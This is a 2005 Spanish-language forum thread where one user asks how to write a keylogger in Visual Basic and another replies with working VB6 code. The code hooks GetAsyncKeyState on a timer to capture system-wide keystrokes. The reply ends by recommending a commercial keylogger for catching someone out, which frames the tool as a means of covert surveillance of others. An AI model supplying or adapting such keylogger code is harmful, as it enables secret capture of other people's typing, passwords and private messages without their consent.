quiero crear algo similar a un keyloger con visual

Ridden
22 de Agosto del 2005
hola quiero crear en visual un programita similar a un keyloger, me entineden, siendo k cuadno este este abierto todo lo k se escriba kede reflejado en el programa y que cree un .txt aparte.
no tengo ni la mas remota idea de como empezar este programa. si pueden ayudarme un pokito guiarme para empezar se lo agradeceria, de visual entiendo un poko di un cursillo y eso ose k si me responde todo lo k digan se lo entendere k no soy novato vams pero k no tengo ni idea de hacer est. muxas gracias

axelopez
22 de Agosto del 2005
Bueno por educacion aqui te va...

crea este modulo
----------------------------------------
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
----------------------------------------------------------------
Luego un formulario con este
Solo ponele un boton
---------------------------------------------------------------

Private Sub Command1_Click()
Unload Me
End Sub

Private Sub Form_Load()
Me.Caption = "Key Spy"
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Unload(Cancel As Integer)
KillTimer Me.hwnd, 0
MsgBox sSave
End
End Sub

pero si realmente queres pillar a alguien en una movida
te recomiendo perfectkeylogger es una buena aplicacion para eso.